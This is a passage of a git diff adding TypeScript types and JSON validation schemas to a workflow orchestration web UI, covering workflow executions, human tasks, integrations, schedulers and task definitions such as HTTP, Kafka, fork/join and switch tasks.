string]: unknown; + }; + status: TaskStatus; + executed: boolean; + domain?: string; + seq?: string; + scheduledTime?: number; + startTime?: number; + endTime?: number; + updateTime?: number; + callbackAfterSeconds?: number; + pollCount?: number; + workflowType: string; + loopOverTask: boolean; + retryCount?: number; + reasonForIncompletion?: string; + workerId?: string; + correlationId?: string; + queueWaitTime?: number; +} + +// @deprecated use WorkflowExecution instead +export type Execution = { + tasks: ExecutionTask[]; + workflowDefinition: WorkflowDef; +}; + +export enum WorkflowExecutionStatus { + RUNNING = "RUNNING", + COMPLETED = "COMPLETED", + FAILED = "FAILED", + TIMED_OUT = "TIMED_OUT", + TERMINATED = "TERMINATED", + PAUSED = "PAUSED", +} + +export interface WorkflowExecution { + tasks: ExecutionTask[]; + workflowDefinition: WorkflowDef; + correlationId: string; + createdBy: string; + endTime: number | string; + executionTime: number; + failedReferenceTaskNames: string; + input: Record; + inputSize: number; + output: Record; + outputSize: number; + priority: number; + rateLimited?: boolean; + reasonForIncompletion: string; + startTime: number | string; + status: WorkflowExecutionStatus; + taskToDomain?: Record; + updateTime: string; + version: number; + workflowId: string; + workflowName?: string; + parentWorkflowId?: string; + parentWorkflowTaskId?: string; + workflowType: string; + workflowVersion?: number; + idempotencyKey?: string; + event?: string; + variables?: Record; + workflowIntrospection?: WorkflowIntrospectionRecord[]; +} + +export interface DetailedTime { + seconds: number; + nanos: number; +} + +export interface WorkflowIntrospectionRecord { + workflowId: string; + id: string; + parentRecordId?: string; + threadName: string; + taskId?: string; + name: string; + description?: string; + stacktrace: string; + start: DetailedTime; + duration: DetailedTime; + overhead: DetailedTime; + attributes?: Record; +} + +export interface WorkflowExecutionSearch { + queryId: string; + results: WorkflowExecution[]; +} + +export type DoWhileSelection = { + doWhileTaskReferenceName: string; + selectedIteration: number; +}; diff --git a/ui-next/src/types/FormFieldTypes.ts b/ui-next/src/types/FormFieldTypes.ts new file mode 100644 index 0000000..7c7e32f --- /dev/null +++ b/ui-next/src/types/FormFieldTypes.ts @@ -0,0 +1,28 @@ +export enum UiIntegrationsFieldType { + LLM_PROVIDER = "llmProvider", + MODEL = "model", + PROMPT_NAME = "promptName", + TEXT = "text", + VECTOR_DB = "vectorDB", + NAMESPACE = "namespace", + QUERY = "query", + EMBEDDING_MODEL_PROVIDER = "embeddingModelProvider", + EMBEDDING_MODEL = "embeddingModel", + URL = "url", + MEDIA_TYPE = "mediaType", + DOC_ID = "docId", + TEMPERATURE = "temperature", + TOP_P = "topP", + STOP_WORDS = "stopWords", + MAX_TOKENS = "maxTokens", + INDEX = "index", + EMBEDDINGS = "embeddings", + CHUNK_SIZE = "chunkSize", + CHUNK_OVERLAP = "chunkOverlap", + ID = "id", + INSTRUCTIONS = "instructions", + MESSAGES = "messages", + MAX_RESULTS = "maxResults", + JSON_OUTPUT = "jsonOutput", + DIMENSIONS = "dimensions", +} diff --git a/ui-next/src/types/HumanTaskTypes.ts b/ui-next/src/types/HumanTaskTypes.ts new file mode 100644 index 0000000..8824462 --- /dev/null +++ b/ui-next/src/types/HumanTaskTypes.ts @@ -0,0 +1,158 @@ +import { JsonSchema, Layout } from "@jsonforms/core"; +import { CommonTaskDef } from "./TaskType"; +import { TagDto } from "./Tag"; + +export interface FormRenderProperties { + jsonSchema?: JsonSchema; + templateUI?: Layout; +} + +export interface TemplateDataType extends FormRenderProperties { + createTime?: number; + updateTime?: number; + createdBy?: string; + updatedBy?: string; + name?: string; + version?: number; +} + +export interface HumanTemplate extends FormRenderProperties { + name: string; + version: number; + createdBy?: string; + createTime?: number; + updatedBy?: string; + updateTime?: number; + tags?: TagDto[]; +} + +export enum AssigneeType { + CONDUCTOR_USER = "CONDUCTOR_USER", + CONDUCTOR_GROUP = "CONDUCTOR_GROUP", + EXTERNAL_USER = "EXTERNAL_USER", + EXTERNAL_GROUP = "EXTERNAL_GROUP", +} + +export enum TriggerType { + PENDING = "PENDING", + ASSIGNED = "ASSIGNED", + IN_PROGRESS = "IN_PROGRESS", + COMPLETED = "COMPLETED", + TIMED_OUT = "TIMED_OUT", + ASSIGNEE_CHANGED = "ASSIGNEE_CHANGED", + CLAIMANT_CHANGED = "CLAIMANT_CHANGED", +} + +export type TriggerPolicy = { + startWorkflowRequest: { + correlationId: string; + input: Record; + name: string; + taskToDomain: Record; + version: number; + }; + triggerType?: TriggerType; +}; + +export enum AssignmentCompletionStrategy { + LEAVE_OPEN = "LEAVE_OPEN", + TERMINATE = "TERMINATE", +} + +export type HumanTaskAssignee = { + userType: AssigneeType; + user: string; +}; + +export type HumanTaskAssignment = { + assignee: HumanTaskAssignee; + slaMinutes?: number; +}; + +export type HumanTaskDefinition = { + assignmentCompletionStrategy?: AssignmentCompletionStrategy; + assignments?: HumanTaskAssignment[]; + userFormTemplate?: Partial; + taskTriggers?: Array; + displayName?: string; + autoClaim?: boolean; +}; + +export type HumanTaskInputParams = { + __humanTaskDefinition: HumanTaskDefinition; +}; + +export interface HumanTaskDef extends CommonTaskDef { + inputParameters: HumanTaskInputParams; +} + +export enum HumanTaskState { + IN_PROGRESS = "IN_PROGRESS", + PENDING = "PENDING", + ASSIGNED = "ASSIGNED", + COMPLETED = "COMPLETED", + TIMED_OUT = "TIMED_OUT", + DELETED = "DELETED", +} + +export type ExecutionHumanTaskDefI = { + assignments: HumanTaskAssignment[]; + userFormTemplate: { + name: string; + version: number; + }; + fullTemplate?: TemplateDataType; +}; + +type HumanTaskProcessContext = { + assigneeIndex: number; + lastUpdated: number; + state: HumanTaskState; +}; + +export type HumanExecutionTask = { + assignee: HumanTaskAssignee; + claimant: HumanTaskAssignee; + createdBy: string; + createdOn: number; + definitionName: string; + humanTaskDef: ExecutionHumanTaskDefI; + input: HumanTaskInputParams & + HumanTaskProcessContext & + Record; + taskId: string; + state: HumanTaskState; + workflowId: string; + workflowName: string; + taskRefName: string; + output: Record; +}; + +export enum SearchType { + INBOX = "INBOX", + ADMIN = "ADMIN", +} +export interface HumanTaskSearchQuery { + assignees?: HumanTaskAssignee[]; + claimants?: HumanTaskAssignee[]; + definitionNames?: string[]; + taskOutputQuery?: string; + taskInputQuery?: string; + fullTextQuery?: string; + states?: TriggerType[]; + taskRefNames?: string[]; + workflowNames?: string[]; + query?: string; + size: number; + page: number; + rowsPerPage: number; + updateStartTime?: string; + updateEndTime?: string; + searchType?: SearchType; + searchId?: number; +} + +export type HumanTaskSearchResponse = { + totalHits: number; + results: HumanExecutionTask[]; +}; diff --git a/ui-next/src/types/Integrations.ts b/ui-next/src/types/Integrations.ts new file mode 100644 index 0000000..c7ba46e --- /dev/null +++ b/ui-next/src/types/Integrations.ts @@ -0,0 +1,123 @@ +import { TagDto } from "./Tag"; + +export enum IntegrationType { + AMAZON_MSK = "kafka_msk", + AMQP = "amqp", + ANTHROPIC = "anthropic", + APACHE_KAFKA = "kafka", + AWS = "aws", + AWS_BEDROCK_ANTHROPIC = "aws_bedrock_anthropic", + AWS_BEDROCK_COHERE = "aws_bedrock_cohere", + AWS_BEDROCK_LLAMA2 = "aws_bedrock_llama2", + AWS_BEDROCK_TITAN = "aws_bedrock_titan", + AWS_SQS = "aws_sqs", + AZURE_OPENAI = "azure_openai", + AZURE_SERVICE_BUS = "azure_service_bus", + COHERE = "cohere", + CONFLUENT_KAFKA = "kafka_confluent", + GCP = "gcp", + GCP_PUBSUB = "gcp_pubsub", + GIT = "git", + HUGGING_FACE = "huggingface", + IBM_MQ = "ibm_mq", + MISTRAL = "mistral", + MONGO_VECTOR_DB = "mongovectordb", + NATS_MESSAGING = "nats", + OPENAI = "openai", + PINECONE_DB = "pineconedb", + POSTGRES_VECTOR_DB = "pgvectordb", + RELATIONAL_DB = "relational_db", + VERTEX_AI = "vertex_ai", + VERTEX_AI_GEMINI = "vertex_ai_gemini", + WEAVIATE_DB = "weaviatedb", + PERPLEXITY = "perplexity", + GROK = "Grok", + SENDGRID = "sendgrid", + GOOGLE_CALENDER = "google-calendar", + GOOGLE_DRIVE = "google-drive", + NOTION = "notion", + GOOGLE_DOCS = "google-docs", + GOOGLE_SLIDES = "google-slides", + GOOGLE_SHEETS = "google-sheets", + WORDPRESS_COM = "wordpress-com", + DISCOURSE = "discourse", + COMMONROOM = "commonroom", + AWS_S3 = "aws-s3", + HUBSPOT = "hubspot", + SLACK = "slack", +} +export enum IntegrationCategory { + API = "API", + AI_MODEL = "AI_MODEL", + VECTOR_DB = "VECTOR_DB", + RELATIONAL_DB = "RELATIONAL_DB", + MESSAGE_BROKER = "MESSAGE_BROKER", + EMAIL = "EMAIL", + EVENT_SOURCE = "EVENT_SOURCE", + MCP = "MCP", +} + +export type BaseIntegration = { + category: string; + description: string; + enabled: boolean; + name: string; + type: IntegrationType; +}; + +export type IntegrationDef = BaseIntegration & { + // Response from the def endpoint + tags: string[]; + configuration: IntegrationConfigFieldModel[]; + categoryLabel: string; + nameLabel: string; + iconName: string; +}; + +export type IntegrationI = BaseIntegration & { + tags?: TagDto[]; + configuration: Record; +}; + +export type ModelDto = { + createTime?: number; + updateTime?: number; + createdBy?: string; + updatedBy?: string; + integrationName: string; + api: string; + description: string; + configuration: { + [key: string]: string; + }; + enabled: boolean; + tags: TagDto[]; + endpoint?: string; +}; + +export type IntegrationConfigFieldModel = { + description: string; + fieldName: string; + fieldType: string; + label: string; + valueOptions?: { + label: string; + value: string; + }[]; + optional: boolean; + dependsOn?: { + fieldName: string; + value: string; + }[]; + value?: string; +}; + +export type IntegrationConfigFormField = { + name: string; + label: string; + helperText: string; + type: string; + value: string | boolean; + optional: boolean; + options?: { label: string; value: string }[]; +}; diff --git a/ui-next/src/types/Messages.ts b/ui-next/src/types/Messages.ts new file mode 100644 index 0000000..2c89963 --- /dev/null +++ b/ui-next/src/types/Messages.ts @@ -0,0 +1,6 @@ +import { AlertColor } from "@mui/material"; + +export interface PopoverMessage { + text: string; + severity: AlertColor; +} diff --git a/ui-next/src/types/MetricsTypes.ts b/ui-next/src/types/MetricsTypes.ts new file mode 100644 index 0000000..6aafbb4 --- /dev/null +++ b/ui-next/src/types/MetricsTypes.ts @@ -0,0 +1,20 @@ +export interface HistoricalData { + p50: number; + p75: number; + p90: number; + p95: number; + p99: number; + errorCount: number; + requestCount: number; + cacheHits: number; + cacheMisses: number; + time: number; + errorsByStatusCode?: Record; +} + +export interface FormattedHistoricalData extends Omit { + time: Date | null; + requests: number; + errors: number; + errorsByStatusCode: Record; +} diff --git a/ui-next/src/types/Prompts.ts b/ui-next/src/types/Prompts.ts new file mode 100644 index 0000000..14b9bad --- /dev/null +++ b/ui-next/src/types/Prompts.ts @@ -0,0 +1,17 @@ +export type PromptDef = { + name: string; + createdBy?: string; + createTime?: number; + template: string; + updatedBy?: string; + updateTime?: string; + description?: string; + variables: string[]; + integrations: string[]; + version?: number; + tokens?: number; + temperature?: number; + topP?: number; + stopWords?: string[]; + responseFormat?: "json"; +}; diff --git a/ui-next/src/types/RemoteServiceTypes.ts b/ui-next/src/types/RemoteServiceTypes.ts new file mode 100644 index 0000000..4d80a3f --- /dev/null +++ b/ui-next/src/types/RemoteServiceTypes.ts @@ -0,0 +1,98 @@ +/** + * Shared types for Remote Service definitions. + * These are here (instead of pages/remoteServices) so that components in + * src/components/ can reference them without importing from an enterprise page. + */ + +export enum ServiceType { + HTTP = "HTTP", + GRPC = "gRPC", + MCP_REMOTE = "MCP_REMOTE", +} + +export interface Method { + id?: number; + operationName: string; + methodName: string; + methodType?: + | "GET" + | "POST" + | "PUT" + | "DELETE" + | "PATCH" + | "UNARY" + | "SERVER_STREAMING" + | "CLIENT_STREAMING" + | "BIDIRECTIONAL_STREAMING"; + inputType: string; + outputType: string; + exampleInput?: Record; + requestContentType?: string; + responseContentType?: string; + description?: string; + deprecated?: boolean; + requestParams?: { + name: string; + type: string; + required: boolean; + schema?: { type?: string }; + }[]; +} + +type CircuitBreakerConfig = { + failureRateThreshold?: number; + slidingWindowSize?: number; + minimumNumberOfCalls?: number; + waitDurationInOpenState?: number; + permittedNumberOfCallsInHalfOpenState?: number; + slowCallRateThreshold?: number; + slowCallDurationThreshold?: number; + automaticTransitionFromOpenToHalfOpenEnabled?: boolean; + maxWaitDurationInHalfOpenState?: number; +}; + +type Config = { + circuitBreakerConfig: CircuitBreakerConfig; +}; + +export type Server = { + url: string; + type: "OPENAPI_SPEC" | "USER_DEFINED"; +}; + +type RequestParam = { + name: string; + type: string; + required: boolean; + schema?: { type?: string }; +}; + +type commonServiceDef = { + name: string; + type: string; + methods: Method[]; + requestParams?: RequestParam[]; + serviceURI?: string; + config: Config; + circuitBreakerEnabled?: boolean; + servers?: Server[]; + authMetadata?: { + key: string; + value: string; + }; +}; + +export interface HttpServiceDefDto extends commonServiceDef { + swaggerUrl: string; + bearerToken?: string; + selectedServerUrl?: string; +} + +export interface GrpcServiceDefDto extends commonServiceDef { + host: string; + port: number; + useSSL?: boolean; + trustCert?: boolean; +} + +export type ServiceDefDto = HttpServiceDefDto & GrpcServiceDefDto; diff --git a/ui-next/src/types/Schedulers.ts b/ui-next/src/types/Schedulers.ts new file mode 100644 index 0000000..2dbc99d --- /dev/null +++ b/ui-next/src/types/Schedulers.ts @@ -0,0 +1,32 @@ +import { IObject } from "types/common"; +import { TagDto } from "./Tag"; + +export interface IStartWorkflowRequest { + name: string; + version: number; + input?: IObject; + taskToDomain?: IObject; + priority?: number; +} + +export interface IScheduleDto { + name: string; + cronExpression: string; + runCatchupScheduleInstances?: boolean; + paused?: boolean; + pausedReason?: string; + active?: boolean; + startWorkflowRequest?: IStartWorkflowRequest; + createTime?: number; + updatedTime?: number; + createdBy?: string; + updatedBy?: string; + lastRunTimeInEpoch?: number; + nextRunTime?: number; + tags?: TagDto[]; +} + +export interface SchedulerSearchResult { + results: IScheduleDto[]; + totalHits: number; +} diff --git a/ui-next/src/types/SchemaDefinition.ts b/ui-next/src/types/SchemaDefinition.ts new file mode 100644 index 0000000..148ee8f --- /dev/null +++ b/ui-next/src/types/SchemaDefinition.ts @@ -0,0 +1,14 @@ +import { JsonSchema } from "@jsonforms/core"; +import { Tag } from "./common"; + +export type SchemaDefinition = { + name: string; + version: number; + data: JsonSchema; + type: "JSON"; + createdBy: string; + updatedBy: string; + createTime: number; + updateTime: number; + tags: Tag[]; +}; diff --git a/ui-next/src/types/Schemas.ts b/ui-next/src/types/Schemas.ts new file mode 100644 index 0000000..37c0c6c --- /dev/null +++ b/ui-next/src/types/Schemas.ts @@ -0,0 +1,1857 @@ +import { UpdateTaskStatus } from "./UpdateTaskStatus"; +import { + GetSignedJWTAlgorithmType, + HTTPMethods, + JDBCType, + QueryProcessorType, +} from "./TaskType"; +import { TaskType } from "./common"; +import { TimeoutPolicy } from "types/TimeoutPolicy"; +import { + TASK_NAME_REGEX, + WORKFLOW_NAME_REGEX, + regexToString, +} from "utils/constants/regex"; +import { WORKFLOW_NAME_ERROR_MESSAGE } from "utils/constants/common"; + +const variablePattern = ".*\\$\\{.*"; + +export const nameSchema = { + $id: "/properties/tasks/properties/name", + type: "string", + pattern: regexToString(TASK_NAME_REGEX), + title: "Task name", + description: "Task name", + default: "", +}; + +export const taskReferenceName = { + $id: "/properties/tasks/properties/taskReferenceName", + type: "string", + title: "Task Reference Name", + minLength: 2, + description: + "A unique task reference name for this task in the entire workflow", +}; + +export const inputParameters = { + $id: "/properties/tasks/properties/inputParameters", + anyOf: [ + { + type: "object", + properties: {}, + additionalProperties: true, + }, + { + type: "string", + pattern: variablePattern, + }, + ], + title: "Input Parameters", + description: "Task input parameters", + default: {}, +}; + +export const genericSchema = { + $id: "/properties/tasks/generic", + type: "object", + description: "Generic Schema", + default: { + name: "generic_schema", + taskReferenceName: "generic_schema_ref", + type: TaskType.USER_DEFINED, + }, + required: ["type"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + type: { + type: "string", + enum: [ + TaskType.DECISION, + TaskType.START, + TaskType.USER_DEFINED, + TaskType.LAMBDA, + TaskType.TERMINAL, + TaskType.EXCLUSIVE_JOIN, + TaskType.WAIT_FOR_EVENT, + TaskType.IA_TASK, + TaskType.LLM_TEXT_COMPLETE, + TaskType.LLM_GENERATE_EMBEDDINGS, + TaskType.LLM_GET_EMBEDDINGS, + TaskType.LLM_STORE_EMBEDDINGS, + TaskType.LLM_SEARCH_INDEX, + TaskType.LLM_INDEX_DOCUMENT, + TaskType.GET_DOCUMENT, + TaskType.LLM_INDEX_TEXT, + TaskType.JUMP, + TaskType.LLM_CHAT_COMPLETE, + TaskType.GRPC, + TaskType.INTEGRATION, + TaskType.CHUNK_TEXT, + TaskType.LIST_FILES, + TaskType.PARSE_DOCUMENT, + TaskType.AGENT, + TaskType.GET_AGENT_CARD, + TaskType.CANCEL_AGENT, + TaskType.LLM_SEARCH_EMBEDDINGS, + TaskType.LIST_MCP_TOOLS, + TaskType.CALL_MCP_TOOL, + TaskType.GENERATE_IMAGE, + TaskType.GENERATE_AUDIO, + TaskType.GENERATE_VIDEO, + TaskType.GENERATE_PDF, + ], + }, + }, + additionalProperties: true, +}; + +export const simpleTaskSchema = { + $id: "/properties/tasks/simple", + type: "object", + description: "Simple task", + default: { + name: "simple_task", + taskReferenceName: "simple_task_ref", + inputParameters: {}, + type: TaskType.SIMPLE, + }, + required: ["name", "taskReferenceName", "type"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + inputParameters: { + $ref: inputParameters.$id, + }, + type: { const: TaskType.SIMPLE }, + }, + additionalProperties: true, +}; + +export const yieldTaskSchema = { + $id: "/properties/tasks/yield", + type: "object", + description: "Yield task", + default: { + name: "yield_task", + taskReferenceName: "yield_task_ref", + inputParameters: {}, + type: TaskType.YIELD, + }, + required: ["name", "taskReferenceName", "type"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + inputParameters: { + $ref: inputParameters.$id, + }, + type: { const: TaskType.YIELD }, + }, + additionalProperties: true, +}; + +export const doWhileSchema = { + $id: "/properties/tasks/doWhile", + type: "object", + description: "Do While", + default: { + name: "do_while_ref", + taskReferenceName: "do_while_ref", + inputParameters: {}, + type: TaskType.DO_WHILE, + }, + required: [ + "name", + "taskReferenceName", + "inputParameters", + "type", + "loopOver", + "loopCondition", + ], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + inputParameters: { + $ref: inputParameters.$id, + }, + loopCondition: { + type: "string", + }, + loopOver: { + $ref: "/properties/tasks", + }, + type: { const: TaskType.DO_WHILE }, + }, + additionalProperties: true, +}; + +export const eventTaskSchema = { + $id: "/properties/tasks/eventTaskSchema", + type: "object", + description: "Join task", + default: { + name: "join_task_ref", + taskReferenceName: "join_task_ref", + inputParameters: {}, + type: TaskType.EVENT, + }, + required: ["name", "taskReferenceName", "sink", "type"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + sink: { + type: "string", + }, + inputParameters: { + $ref: inputParameters.$id, + }, + type: { const: TaskType.EVENT }, + }, + additionalProperties: true, +}; + +export const joinTaskSchema = { + $id: "/properties/tasks/joinTaskSchema", + type: "object", + description: "Join task", + default: { + name: "join_task_ref", + taskReferenceName: "join_task_ref", + inputParameters: {}, + type: TaskType.JOIN, + }, + required: ["name", "taskReferenceName", "joinOn", "type"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + joinOn: { + type: "array", + items: { + type: "string", + }, + }, + inputParameters: { + $ref: inputParameters.$id, + }, + evaluatorType: { + type: "string", + }, + expression: { + type: "string", + }, + type: { const: TaskType.JOIN }, + }, + additionalProperties: true, +}; + +export const forkTaskSchema = { + $id: "/properties/tasks/forkJoin", + type: "object", + description: "Fork task", + default: { + name: "fork_task_ref", + taskReferenceName: "fork_task_ref", + inputParameters: {}, + type: TaskType.FORK_JOIN, + }, + required: [ + "name", + "taskReferenceName", + "inputParameters", + "type", + "forkTasks", + ], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + inputParameters: { + $ref: inputParameters.$id, + }, + forkTasks: { + type: "array", + default: [[]], + items: { + $ref: "/properties/tasks", + }, + }, + type: { const: TaskType.FORK_JOIN }, + }, + additionalProperties: true, +}; + +export const waitSchema = { + $id: "/properties/tasks/wait", + type: "object", + description: "Wait task", + default: { + name: "wait_ref", + taskReferenceName: "wait_ref", + type: TaskType.WAIT, + }, + required: ["name", "taskReferenceName", "type"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + inputParameters: { + $ref: inputParameters.$id, + }, + type: { const: TaskType.WAIT }, + }, + additionalProperties: true, +}; + +export const forkJoinDynamicSchema = { + $id: "/properties/tasks/forkJoinDynamic", + type: "object", + description: "Fork join dynamic task", + default: { + name: "fork_join_dynamic_ref", + taskReferenceName: "fork_join_dynamic_ref", + inputParameters: {}, + type: TaskType.FORK_JOIN_DYNAMIC, + }, + required: ["name", "taskReferenceName", "type", "inputParameters"], + properties: { + inputParameters: { + $ref: inputParameters.$id, + }, + dynamicForkTasksParam: { + type: "string", + }, + dynamicForkTasksInputParamName: { + type: "string", + }, + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + type: { const: TaskType.FORK_JOIN_DYNAMIC }, + }, + additionalProperties: true, +}; + +export const dynamicTaskSchema = { + $id: "/properties/tasks/dynamic", + type: "object", + description: "Dynamic task", + default: { + name: "dynamic_ref", + taskReferenceName: "dynamic_ref", + type: TaskType.DYNAMIC, + }, + required: ["name", "taskReferenceName", "type"], + properties: { + inputParameters: { + $ref: inputParameters.$id, + }, + dynamicTaskNameParam: { + type: "string", + }, + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + type: { const: TaskType.DYNAMIC }, + }, + additionalProperties: true, +}; + +export const inlineTaskSchema = { + $id: "/properties/tasks/inlineSchema", + type: "object", + description: "Inline task schema", + default: { + name: "inline_task_ref", + taskReferenceName: "inline_task_ref", + type: TaskType.INLINE, + }, + required: ["name", "taskReferenceName", "type"], + properties: { + inputParameters: { + anyOf: [ + { + type: "object", + required: ["evaluatorType", "expression"], + properties: { + evaluatorType: { + type: "string", + enum: ["javascript", "graaljs"], + }, + expression: { + type: "string", + }, + additionalProperties: true, + }, + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + type: { const: TaskType.INLINE }, + }, + additionalProperties: true, +}; + +export const switchTaskSchema = { + $id: "/properties/tasks/switchTaskSchema", + type: "object", + description: "Switch task schema", + default: { + name: "switch_task_ref", + taskReferenceName: "switch_task_ref", + type: TaskType.SWITCH, + }, + required: [ + "name", + "taskReferenceName", + "type", + "evaluatorType", + "expression", + "decisionCases", + "defaultCase", + ], + properties: { + inputParameters: { + $ref: inputParameters.$id, + }, + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + type: { const: TaskType.SWITCH }, + evaluatorType: { + enum: ["javascript", "value-param", "graaljs"], + type: "string", + }, + expression: { + type: "string", + }, + decisionCases: { + type: "object", + patternProperties: { + ".*": { + $ref: "/properties/tasks", + }, + }, + additionalProperties: true, + }, + defaultCase: { + $ref: "/properties/tasks", + }, + }, + additionalProperties: true, +}; + +export const kafkaRequestTaskSchema = { + $id: "/properties/tasks/kafkaRequestSchema", + type: "object", + description: "Kafka task", + default: { + name: "http_task_ref", + taskReferenceName: "http_task_ref", + type: TaskType.KAFKA_PUBLISH, + }, + required: ["name", "taskReferenceName", "type", "inputParameters"], + properties: { + inputParameters: { + anyOf: [ + { + type: "object", + properties: { + kafka_request: { + anyOf: [ + { + type: "object", + properties: { + headers: { + anyOf: [ + { + type: "object", + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + key: { + type: "string", + }, + value: { + anyOf: [ + { + type: "object", + }, + { + type: "string", + }, + { + type: "number", + }, + { + type: "boolean", + }, + { + type: "array", + }, + { + type: "null", + }, + ], + }, + }, + additionalProperties: true, + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + }, + required: ["kafka_request"], + additionalProperties: true, + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + type: { const: TaskType.KAFKA_PUBLISH }, + }, + additionalProperties: true, +}; + +export const baseHTTPRequestSchema = { + $id: "/properties/tasks/properties/inputParameters/properties/http_request", + type: "object", + properties: { + uri: { + type: "string", + }, + method: { + type: "string", + anyOf: [ + { + enum: Object.values(HTTPMethods), + }, + { + pattern: variablePattern, + }, + ], + }, + headers: { + type: ["string", "object"], + patternProperties: { + "^\\S*$": { type: "string" }, + }, + additionalProperties: false, + }, + terminationCondition: { + type: "string", + }, + pollingInterval: { + type: "string", + }, + pollingStrategy: { + type: "string", + }, + encode: { + type: "boolean", + }, + additionalProperties: true, + }, + + additionalProperties: true, +}; + +export const httpTaskSchema = { + $id: "/properties/tasks/httpTaskSchema", + type: "object", + description: "HTTP task", + default: { + name: "http_task_ref", + taskReferenceName: "http_task_ref", + type: TaskType.HTTP, + }, + required: ["name", "taskReferenceName", "type", "inputParameters"], + properties: { + inputParameters: { + type: ["object", "string"], + properties: { + http_request: { + anyOf: [ + { + $ref: baseHTTPRequestSchema.$id, + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + }, + additionalProperties: true, + }, + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + type: { const: TaskType.HTTP }, + }, + additionalProperties: true, +}; + +export const httpPollTaskSchema = { + $id: "/properties/tasks/httpPollTaskSchema", + type: "object", + description: "HTTP POLL task", + default: { + name: "http_poll_task_ref", + taskReferenceName: "http_poll_task_ref", + type: TaskType.HTTP_POLL, + }, + required: ["name", "taskReferenceName", "type", "inputParameters"], + properties: { + inputParameters: { + type: ["object", "string"], + properties: { + http_request: { + anyOf: [ + { + type: "object", + $ref: baseHTTPRequestSchema.$id, + required: [ + "terminationCondition", + "pollingInterval", + "pollingStrategy", + ], + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + }, + required: ["http_request"], + additionalProperties: true, + }, + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + type: { const: TaskType.HTTP_POLL }, + }, + additionalProperties: true, +}; + +export const jsonJQTaskSchema = { + $id: "/properties/tasks/jsonJQTask", + type: "object", + description: "JsonJQTask task", + default: { + name: "join_jq_task_ref", + taskReferenceName: "join_jq_task_ref", + type: TaskType.JSON_JQ_TRANSFORM, + }, + required: ["name", "taskReferenceName", "type", "inputParameters"], + properties: { + inputParameters: { + anyOf: [ + { + type: "object", + properties: { + queryExpression: { + type: "string", + }, + }, + required: ["queryExpression"], + additionalProperties: true, + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + type: { const: TaskType.JSON_JQ_TRANSFORM }, + }, + additionalProperties: true, +}; + +export const terminateTaskSchema = { + $id: "/properties/tasks/terminate", + type: "object", + description: "Terminate Task", + default: { + name: "terminate_ref", + taskReferenceName: "terminate_ref", + type: TaskType.TERMINATE, + }, + required: ["name", "taskReferenceName", "type"], + properties: { + inputParameters: { + anyOf: [ + { + type: "object", + properties: { + terminationStatus: { + enum: ["COMPLETED", "FAILED", "TERMINATED"], + type: "string", + }, + workflowOutput: { + type: "object", + }, + }, + additionalProperties: true, + required: ["terminationStatus"], + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + type: { const: TaskType.TERMINATE }, + }, + additionalProperties: true, +}; + +export const setVariableTaskSchema = { + $id: "/properties/tasks/setVariable", + type: "object", + description: "Set variable", + default: { + name: "set_variable_ref", + taskReferenceName: "set_variable_ref", + type: TaskType.SET_VARIABLE, + }, + required: ["name", "taskReferenceName", "type", "inputParameters"], + properties: { + inputParameters: { + $ref: inputParameters.$id, + }, + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + type: { const: TaskType.SET_VARIABLE }, + }, + additionalProperties: true, +}; + +export const terminateWorkflowSchema = { + $id: "/properties/tasks/terminateWorkflowSchema", + type: "object", + description: "Terminate workflow", + default: { + name: "terminate_workflow_schema_ref", + taskReferenceName: "terminate_workflow_schema_ref", + inputParameters: { + workflowId: "someWorkflowId", + }, + type: TaskType.TERMINATE_WORKFLOW, + }, + required: ["name", "taskReferenceName", "inputParameters", "type"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + inputParameters: { + anyOf: [ + { + type: "object", + required: ["workflowId"], + properties: { + workflowId: { + anyOf: [ + { + type: "string", + }, + { + type: "array", + items: { + type: "string", + }, + }, + ], + }, + terminationReason: { + type: "string", + }, + }, + additionalProperties: true, + }, + { + type: "string", + pattern: variablePattern, + }, + ], + }, + type: { const: TaskType.TERMINATE_WORKFLOW }, + }, + additionalProperties: true, +}; + +export const businessRuleSchema = { + $id: "/properties/tasks/businessRuleSchema", + type: "object", + description: "Evaluate business rules that are compiled in a spreadsheet.", + default: { + name: "business_rule_schema_ref", + taskReferenceName: "business_rule_schema_ref", + inputParameters: { + ruleFileLocation: "https://business-rules.s3.amazonaws.com/rules.xlsx", + executionStrategy: "FIRE_FIRST", + inputColumns: {}, + outputColumns: [], + }, + type: TaskType.BUSINESS_RULE, + }, + required: ["name", "taskReferenceName", "inputParameters", "type"], + properties: { + name: { $ref: nameSchema.$id }, + taskReferenceName: { $ref: taskReferenceName.$id }, + 